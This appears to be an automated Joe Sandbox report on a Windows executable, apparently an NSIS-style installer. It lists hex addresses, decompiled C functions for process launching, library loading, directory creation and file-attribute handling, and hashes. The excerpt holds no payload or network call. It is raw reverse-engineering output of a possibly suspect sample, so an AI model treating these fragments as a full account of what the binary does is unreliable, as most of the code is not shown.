0x004069b4
0x004069ce
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069b6
0x004069b6
0x004069c5
0x004069c9
0x004069c9
0x004069ee
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406333
0x00406335
0x00406338
0x004063a9
0x004063ac
0x004063af
0x004063b6
0x004063c0
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x0040699f
0x0040633a
0x0040633e
0x00406341
0x00406343
0x00406346
0x00406349
0x0040634b
0x0040634e
0x00406350
0x00406355
0x00406358
0x0040635b
0x0040635f
0x00406366
0x00406369
0x00406370
0x00406374
0x0040637c
0x0040637c
0x0040637c
0x00406376
0x00406376
0x00406376
0x0040636b
0x0040636b
0x0040636b
0x00406380
0x00406383
0x004063a1
0x004063a3
0x00000000
0x00406385
0x00406385
0x00406388
0x0040638b
0x0040638e
0x00406390
0x00406390
0x00406390
0x00406393
0x00406396
0x00406398
0x00406399
0x0040639c
0x00000000
0x0040639c
0x00000000
0x004065d2
0x004065d6
0x004065f4
0x004065f7
0x004065fe
0x00406601
0x00406604
0x00406607
0x0040660a
0x0040660d
0x0040660f
0x00406616
0x00406617
0x00406619
0x0040661c
0x0040661f
0x00406622
0x00406622
0x00406627
0x00000000
0x00406627
0x004065d8
0x004065db
0x004065de
0x004065e8
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x00000000
0x00000000
0x00000000
0x0040667f
0x00406683
0x00000000
0x00000000
0x00406689
0x0040668d
0x00000000
0x00000000
0x00406693
0x00406695
0x00406699
0x00406699
0x0040669c
0x004066a0
0x00000000
0x00000000
0x004066f0
0x004066f4
0x004066fb
0x004066fe
0x00406701
0x0040670b
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x0040699f
0x004066f6
0x00000000
0x00000000
0x00406717
0x0040671b
0x00406722
0x00406725
0x00406728
0x0040671d
0x0040671d
0x0040671d
0x0040672b
0x0040672e
0x00406731
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673a
0x0040673d
0x00406744
0x00406749
0x00000000
0x00000000
0x004067d7
0x004067d7
0x004067db
0x00406b79
0x00000000
0x00406b79
0x004067e1
0x004067e4
0x004067e7
0x004067eb
0x004067ee
0x004067f4
0x004067f6
0x004067f6
0x004067f6
0x004067f9
0x004067fc
0x00000000
0x00000000
0x004063cc
0x004063cc
0x004063d0
0x00406b3d
0x00000000
0x00406b3d
0x004063d6
0x004063d9
0x004063dc
0x004063e0
0x004063e3
0x004063e9
0x004063eb
0x004063eb
0x004063eb
0x004063ee
0x004063f1
0x004063f1
0x004063f4
0x004063f7
0x00000000
0x00000000
0x004063fd
0x00406403
0x00000000
0x00000000
0x00406409
0x00406409
0x0040640d
0x00406410
0x00406413
0x00406416
0x00406419
0x0040641a
0x0040641d
0x0040641f
0x00406425
0x00406428
0x0040642b
0x0040642e
0x00406431
0x00406434
0x00406437
0x00406453
0x00406456
0x00406459
0x0040645c
0x00406463
0x00406467
0x00406469
0x0040646d
0x00406439
0x00406439
0x0040643d
0x00406445
0x0040644a
0x0040644c
0x0040644e
0x0040644e
0x00406470
0x00406477
0x0040647a
0x00000000
0x00406480
0x00000000
0x00406480
0x00000000
0x00406485
0x00406485
0x00406489
0x00406b49
0x00000000
0x00406b49
0x0040648f
0x00406492
0x00406495
0x00406499
0x0040649c
0x004064a2
0x004064a4
0x004064a4
0x004064a4
0x004064a7
0x004064aa
0x004064aa
0x004064aa
0x004064b0
0x00000000
0x00000000
0x004064b2
0x004064b5
0x004064b8
0x004064bb
0x004064be
0x004064c1
0x004064c4
0x004064c7
0x004064ca
0x004064cd
0x004064d0
0x004064e8
0x004064eb
0x004064ee
0x004064f1
0x004064f1
0x004064f4
0x004064f8
0x004064fa
0x004064d2
0x004064d2
0x004064da
0x004064df
0x004064e1
0x004064e3
0x004064e3
0x004064fd
0x00406504
0x00406507
0x00000000
0x00406509
0x00000000
0x00406509
0x00406507
0x0040650e
0x0040650e
0x0040650e
0x0040650e
0x00000000
0x00000000
0x00406549
0x00406549
0x0040654d
0x00406b55
0x00000000
0x00406b55
0x00406553
0x00406556
0x00406559
0x0040655d
0x00406560
0x00406566
0x00406568
0x00406568
0x00406568
0x0040656b
0x0040656e
0x0040656e
0x00406574
0x00406512
0x00406512
0x00406515
0x00000000
0x00406515
0x00406576
0x00406576
0x00406579
0x0040657c
0x0040657f
0x00406582
0x00406585
0x00406588
0x0040658b
0x0040658e
0x00406591
0x00406594
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b5
0x004065b8
0x004065bc
0x004065be
0x00406596
0x00406596
0x0040659e
0x004065a3
0x004065a5
0x004065a7
0x004065a7
0x004065c1
0x004065c8
0x004065cb
0x00000000
0x004065cd
0x00000000
0x004065cd
0x00000000
0x0040685a
0x0040685a
0x0040685e
0x00406b85
0x00000000
0x00406b85
0x00406864
0x00406867
0x0040686a
0x0040686e
0x00406871
0x00406877
0x00406879
0x00406879
0x00406879
0x0040687c
0x00000000
0x00000000
0x0040662a
0x0040662a
0x0040662d
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x00000000
0x00406969
0x0040696d
0x0040698f
0x00406992
0x0040699c
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x0040699f
0x0040696f
0x00406972
0x00406976
0x00406979
0x00406979
0x0040697c
0x00000000
0x00000000
0x00406a26
0x00406a2a
0x00406a48
0x00406a48
0x00406a48
0x00406a4f
0x00406a56
0x00406a5d
0x00406a5d
0x00000000
0x00406a5d
0x00406a2c
0x00406a2f
0x00406a32
0x00406a35
0x00406a3c
0x00406980
0x00406980
0x00406983
0x00000000
0x00000000
0x00406b17
0x00406b1a
0x00406a1b
0x00000000
0x00000000
0x00406751
0x00406753
0x0040675a
0x0040675b
0x0040675d
0x00406760
0x00000000
0x00000000
0x00406768
0x0040676b
0x0040676e
0x00406770
0x00406772
0x00406772
0x00406773
0x00406776
0x0040677d
0x00406780
0x0040678e
0x00000000
0x00000000
0x00406a64
0x00406a64
0x00406a67
0x00406a6e
0x00000000
0x00000000
0x00406a73
0x00406a73
0x00406a77
0x00406baf
0x00000000
0x00406baf
0x00406a7d
0x00406a80
0x00406a83
0x00406a87
0x00406a8a
0x00406a90
0x00406a92
0x00406a92
0x00406a92
0x00406a95
0x00406a98
0x00406a98
0x00406a98
0x00406a98
0x00406a9b
0x00406a9b
0x00406a9f
0x00406aff
0x00406b02
0x00406b07
0x00406b08
0x00406b0a
0x00406b0c
0x00406b0f
0x00406a1b
0x00406a1b
0x00000000
0x00406a21
0x00406a1b
0x00406aa1
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406adb
0x00406ade
0x00406ae1
0x00406ae4
0x00406ae8
0x00406aea
0x00406aea
0x00406aeb
0x00406aee
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad6
0x00406ad6
0x00406af1
0x00406af8
0x00000000
0x00406afa
0x00000000
0x00406afa
0x00000000
0x00406796
0x00406799
0x004067cf
0x004068ff
0x004068ff
0x004068ff
0x004068ff
0x00406902
0x00406902
0x00406905
0x00406907
0x00406b91
0x00000000
0x00406b91
0x0040690d
0x00406910
0x00000000
0x00000000
0x00406916
0x0040691a
0x0040691d
0x0040691d
0x0040691d
0x00000000
0x0040691d
0x0040679b
0x0040679d
0x0040679f
0x004067a1
0x004067a4
0x004067a5
0x004067a7
0x004067a9
0x004067ac
0x004067af
0x004067c5
0x004067ca
0x00406802
0x00406802
0x00406806
0x00406832
0x00406834
0x0040683b
0x0040683e
0x00406841
0x00406841
0x00406846
0x00406846
0x00406848
0x0040684b
0x00406852
0x00406855
0x00406882
0x00406882
0x00406885
0x00406888
0x004068fc
0x004068fc
0x004068fc
0x00000000
0x004068fc
0x0040688a
0x00406890
0x00406893
0x00406896
0x00406899
0x0040689c
0x0040689f
0x004068a2
0x004068a5
0x004068a8
0x004068ab
0x004068c4
0x004068c6
0x004068c9
0x004068ca
0x004068cd
0x004068cf
0x004068d2
0x004068d4
0x004068d6
0x004068d9
0x004068db
0x004068de
0x004068e2
0x004068e4
0x004068e4
0x004068e5
0x004068e8
0x004068eb
0x004068ad
0x004068ad
0x004068b5
0x004068ba
0x004068bc
0x004068bf
0x004068bf
0x004068ee
0x004068f5
0x0040687f
0x0040687f
0x0040687f
0x0040687f
0x00000000
0x004068f7
0x00000000
0x004068f7
0x004068f5
0x00406808
0x0040680b
0x0040680d
0x00406810
0x00406813
0x00406816
0x00406818
0x0040681b
0x0040681e
0x0040681e
0x00406821
0x00406821
0x00406824
0x0040682b
0x004067ff
0x004067ff
0x004067ff
0x004067ff
0x00000000
0x0040682d
0x00000000
0x0040682d
0x0040682b
0x004067b1
0x004067b4
0x004067b6
0x004067b9
0x00000000
0x00000000
0x00406518
0x00406518
0x0040651c
0x00406b61
0x00000000
0x00406b61
0x00406522
0x00406525
0x00406528
0x0040652b
0x0040652e
0x00406531
0x00406534
0x00406536
0x00406539
0x0040653c
0x0040653f
0x00406541
0x00406541
0x00406541
0x00000000
0x00000000
0x004066a3
0x004066a3
0x004066a7
0x00406b6d
0x00000000
0x00406b6d
0x004066ad
0x004066b0
0x004066b3
0x004066b6
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c4
0x004066c7
0x004066ca
0x004066cb
0x004066cd
0x004066cd
0x004066cd
0x004066d0
0x004066d3
0x004066d6
0x004066d9
0x004066d9
0x004066d9
0x004066dc
0x004066de
0x004066de
0x00000000
0x00000000
0x00406920
0x00406920
0x00406920
0x00406924
0x00000000
0x00000000
0x0040692a
0x0040692d
0x00406930
0x00406933
0x00406935
0x00406935
0x00406935
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x00406948
0x0040694a
0x0040694a
0x0040694a
0x0040694d
0x00406950
0x00406953
0x00406956
0x00406959
0x0040695d
0x0040695f
0x00406962
0x00000000
0x00406964
0x004066e1
0x004066e1
0x00000000
0x004066e1
0x00406962
0x00406b97
0x00000000
0x00000000
0x004061c6
0x00406bce
0x00406bce
0x00000000
0x00406bce
0x00406a1b
0x004069a2
0x0040699f

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8be065f2055dc1cd174fd52254904ed3951c4d9a2d1eb8bfd7021972752a86bd
Instruction ID: da41e8a59283c5151f8221a14089d7a30d21e655082da74c54adec62798c0c17
Opcode Fuzzy Hash: 8be065f2055dc1cd174fd52254904ed3951c4d9a2d1eb8bfd7021972752a86bd
Instruction Fuzzy Hash: 3B714771E00229CBDF28CF98C8447ADBBB1FB44305F15816ED856BB291C778AA56DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1B Relevance: 4.5, APIs: 3, Instructions: 48
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00401E1B() {
				void* _t15;
				void* _t24;
				void* _t26;
				void* _t31;

				_t28 = E00402A0C(_t24);
				E00404FE7(0xffffffeb, _t13);
				_t15 = E0040555B(_t28); // executed
				 *(_t31 + 8) = _t15;
				if(_t15 == _t24) {
					 *((intOrPtr*)(_t31 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t31 - 0x20)) != _t24) {
						while(WaitForSingleObject( *(_t31 + 8), 0x64) == 0x102) {
							E004060C3(0xf);
						}
						GetExitCodeProcess( *(_t31 + 8), _t31 - 0xc); // executed
						if( *((intOrPtr*)(_t31 - 0x24)) < _t24) {
							if( *(_t31 - 0xc) != _t24) {
								 *((intOrPtr*)(_t31 - 4)) = 1;
							}
						} else {
							E00405C59(_t26,  *(_t31 - 0xc));
						}
					}
					_push( *(_t31 + 8));
					CloseHandle();
				}
				 *0x424008 =  *0x424008 +  *((intOrPtr*)(_t31 - 4));
				return 0;
			}

0x00401e21
0x00401e26
0x00401e2c
0x00401e33
0x00401e36
0x00402672
0x00401e3c
0x00401e3f
0x00401e50
0x00401e4b
0x00401e4b
0x00401e65
0x00401e6e
0x00401e7e
0x00401e80
0x00401e80
0x00401e70
0x00401e74
0x00401e74
0x00401e6e
0x00401e87
0x00401e8a
0x00401e8a
0x004028a4
0x004028b0

APIs

Part of subcall function 00404FE7: lstrlenA.KERNEL32(0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000,?), ref: 00405020
Part of subcall function 00404FE7: lstrlenA.KERNEL32(00402C60,0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000), ref: 00405030
Part of subcall function 00404FE7: lstrcatA.KERNEL32(0041FD58,00402C60,00402C60,0041FD58,00000000,00000000,00000000), ref: 00405043
Part of subcall function 00404FE7: SetWindowTextA.USER32(0041FD58,0041FD58), ref: 00405055
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040507B
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405095
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050A3

Part of subcall function 0040555B: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422588,Error launching installer), ref: 00405580
Part of subcall function 0040555B: CloseHandle.KERNEL32(?), ref: 0040558D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E55
GetExitCodeProcess.KERNELBASE ref: 00401E65
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401E8A

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 1a5498c97b03bf9ad2a802c144142cbddf4fe197977c824e4eb94680ac26f956
Instruction ID: f982a8a4b5a7b7f11f96eebada5615e554ddc2bd3b1688d6a113b967b57f1ffa
Opcode Fuzzy Hash: 1a5498c97b03bf9ad2a802c144142cbddf4fe197977c824e4eb94680ac26f956
Instruction Fuzzy Hash: 3C016D31D04104EBDF11AF91C945A9E7771EB40354F24813BF905B51E1C7794A81DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040365C Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040365C() {
				void* _t1;
				void* _t2;
				void* _t4;
				void* _t7;
				signed int _t12;

				_t1 =  *0x409014; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1);
					 *0x409014 =  *0x409014 | 0xffffffff;
				}
				_t2 =  *0x409018; // 0xffffffff
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x409018 =  *0x409018 | 0xffffffff;
					_t12 =  *0x409018;
				}
				E004036B9();
				_t4 = E00405620(_t7, _t12, "C:\\Users\\alfons\\AppData\\Local\\Temp\\nsx95CD.tmp\\", 7); // executed
				return _t4;
			}

0x0040365c
0x0040366b
0x0040366e
0x00403670
0x00403670
0x00403677
0x0040367f
0x00403682
0x00403684
0x00403684
0x00403684
0x0040368b
0x00403697
0x0040369d

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,00403482,00000000), ref: 0040366E
CloseHandle.KERNEL32(FFFFFFFF,00000000,00403482,00000000), ref: 00403682

Strings

C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\, xrefs: 00403692

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\
API String ID: 2962429428-3317108398
Opcode ID: ff0635daa02b02786d4c6060d7483ceeb15bee290bd1bd17e04d86e07ad0f233
Instruction ID: d9e8a33d28c15f53d2eb362b268636166e6a3abf7a8e9a4d7af1e4fffe66201b
Opcode Fuzzy Hash: ff0635daa02b02786d4c6060d7483ceeb15bee290bd1bd17e04d86e07ad0f233
Instruction Fuzzy Hash: 52E08C30900A10A6C230AF7CBE499553B189B41331BA04B26F638F22F2C3395E865AED

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x423fb0;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42376c =  *0x42376c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42376c, 0x7530,  *0x423754), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(00000020,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: cbf58c645cd0bca2d3f8e9800932a6635a1f6a75dc97f939ce2f6e9f6cf97e13
Instruction ID: eb1965022be8e41d6b0e1b01d22ae835c185752925051d09dc6a9c457a4677e5
Opcode Fuzzy Hash: cbf58c645cd0bca2d3f8e9800932a6635a1f6a75dc97f939ce2f6e9f6cf97e13
Instruction Fuzzy Hash: 5B01F471B242119BEB195F389D04B2A36A8E750319F10813BF851F66F1D67CDC029B8D

Uniqueness

Uniqueness Score: -1.00%

Function 00406087 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406087(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x409248);
				_t5 = GetModuleHandleA( *(_t10 + 0x409248));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40924c));
				}
				_t5 = E0040601D(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x0040608f
0x00406092
0x00406099
0x004060a1
0x004060ad
0x00000000
0x004060b4
0x004060a4
0x004060ab
0x00000000
0x004060bc
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,004032BB,0000000D,SETUPAPI,USERENV,UXTHEME), ref: 00406099
GetProcAddress.KERNEL32(00000000,?), ref: 004060B4

Part of subcall function 0040601D: GetSystemDirectoryA.KERNEL32 ref: 00406034
Part of subcall function 0040601D: wsprintfA.USER32 ref: 0040606D
Part of subcall function 0040601D: LoadLibraryA.KERNELBASE(?), ref: 0040607D

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2602b990a6be508378c6e42cd022796474ee903161cb72c2cb5a68df28a06255
Instruction ID: 21d738a59780ab69202fff5272367df6aef59ea6a60bf168f6e21a2e897772da
Opcode Fuzzy Hash: 2602b990a6be508378c6e42cd022796474ee903161cb72c2cb5a68df28a06255
Instruction Fuzzy Hash: 0EE086326441106AD621DA749D0496B72AC9E84740702487EF906F6191D7389C219A6A

Uniqueness

Uniqueness Score: -1.00%

Function 004059D2 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004059D2(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x004059d6
0x004059e3
0x004059f8
0x004059fe

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CCB,C:\Users\user\Desktop\qHpeBvr9cR.exe,80000000,00000003), ref: 004059D6
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059F8

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction ID: 90a47e22fdd321f70bf06df01bfdefa11f3e73682391c7296034eb3a8fe04f39
Opcode Fuzzy Hash: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction Fuzzy Hash: 8CD09E31658301AFEF098F20DD1AF2E7AA2EB84B00F10562CB646940E0D6715815DB16

Uniqueness

Uniqueness Score: -1.00%

Function 00405526 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405526(CHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryA(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x0040552c
0x00405534
0x00000000
0x0040553a
0x00000000

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00403242,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004033DB), ref: 0040552C
GetLastError.KERNEL32 ref: 0040553A

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 62594c709cce2f5b8fb8ca5d54e7f3286412bfa0f130784d9dc04a2d264f0cc1
Instruction ID: ef4cf1633336d89bd9081ea15a94d355bc31ae876b4da9069c07bcdb8eac4916
Opcode Fuzzy Hash: 62594c709cce2f5b8fb8ca5d54e7f3286412bfa0f130784d9dc04a2d264f0cc1
Instruction Fuzzy Hash: 9DC08C30A08101BAD7100B30EE08B073AA5AB00340F104435A206E40F4D6349000CD3E

Uniqueness

Uniqueness Score: -1.00%

Function 004059B3 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004059B3(CHAR* _a4) {
				signed char _t3;
				int _t5;

				_t3 = GetFileAttributesA(_a4); // executed
				if(_t3 != 0xffffffff) {
					_t5 = SetFileAttributesA(_a4, _t3 & 0x000000fe); // executed
					return _t5;
				}
				return _t3;
			}

0x004059b7
0x004059c0
0x004059c9
0x00000000
0x004059c9
0x004059cf

APIs

GetFileAttributesA.KERNELBASE(?,004057BE,?,?,?), ref: 004059B7
SetFileAttributesA.KERNELBASE(?,00000000), ref: 004059C9

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
